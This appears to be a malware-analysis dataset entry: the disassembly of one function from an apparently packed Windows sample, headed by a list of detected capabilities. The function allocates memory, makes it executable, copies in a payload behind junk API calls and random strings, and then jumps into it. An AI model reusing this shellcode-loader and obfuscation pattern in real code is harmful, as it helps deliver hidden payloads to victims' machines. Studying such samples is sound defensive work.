Function at 0x401648
Capabilities:
Allocate or change rwx memory
Copy file
Execute shellcode via indirect call
Get common file path
Get disk information
Get file attributes
Get geographical location
Move file
Terminate process
Terminate thread

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1838
call fcn.0040f360
mov ecx, dword [0x864fb4]
push esi
xor esi, esi
push edi
cmp ecx, 0x93
je 0x401838
mov eax, dword [0x420fb8]
add ecx, 0x1134b
push ecx
push esi
mov dword [0x8650b8], eax
mov dword [0x864fb4], ecx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [ebp - 0xc]
mov dword [0x864f0c], eax
push ecx
push 0x40
push dword [0x864fb4]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, 0x29156e
push esi
lea eax, [ebp - 0x438]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffA]
dec edi
jne 0x4016a6
mov ecx, dword [0x864fb4]
mov edi, esi
test ecx, ecx
je 0x401737
mov eax, dword [0x8650b8]
mov cl, byte [eax + edi + 0x1134b]
mov eax, dword [0x864f0c]
mov byte [eax + edi], cl
mov ecx, dword [0x864fb4]
cmp ecx, 0x490
jne 0x401732
push esi
push esi
call dword [sym.imp.GDI32.dll_SetTextAlign]
push esi
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_CompareFileTime]
call dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push esi
lea eax, [ebp - 0x838]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push eax
push esi
lea eax, [ebp - 0xc38]
push eax
push str.dofedidumige
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ecx, dword [0x864fb4]
inc edi
cmp edi, ecx
jb 0x4016c3
mov edi, esi
lea eax, [ecx + edi]
cmp eax, 0x8d
jne 0x4017af
push esi
call dword [sym.imp.KERNEL32.dll_RemoveVectoredExceptionHandler]
push esi
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push esi
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0xc38]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push esi
push esi
call dword [sym.imp.USER32.dll_CharUpperBuffW]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressA]
push esi
lea eax, [ebp - 0x838]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push esi
push esi
lea eax, [ebp - 0x438]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
lea eax, [ebp - 0x1838]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov ecx, dword [0x864fb4]
inc edi
cmp edi, 0x38681
jl 0x401739
push ecx
call fcn.004015d6
mov edi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x62
jne 0x4017d0
call fcn.0040162c
inc edi
cmp edi, 0x674db
jl 0x4017c0
push 0x7b
pop edi
cmp dword [0x864fb4], 0x86
jne 0x40181e
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push esi
lea eax, [ebp - 0x14]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push esi
push str.nutodabodovogaxomuwajeyuhofoyevosayucuxej
push str.guwofolabucabuzadoribirocigovekazereyegesupurifiyazabucuhakotelavuw
call dword [sym.imp.KERNEL32.dll_CopyFileA]
dec edi
jne 0x4017dc
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [0x864f0c]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_RegisterEventSourceW]
push str.orasedaboh
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
xor eax, eax
lock bts dword [eax], 0
push esi
lea eax, [ebp - 0x438]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push esi
lea eax, [ebp - 0x24]
push eax
push esi
push esi
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.ole32.dll_CoGetClassObject]
push esi
lea eax, [ebp - 0x1038]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push esi
call fcn.00403b33
push esi
call fcn.00402b96
pop ecx
pop ecx
push esi
call fcn.00403f49
int3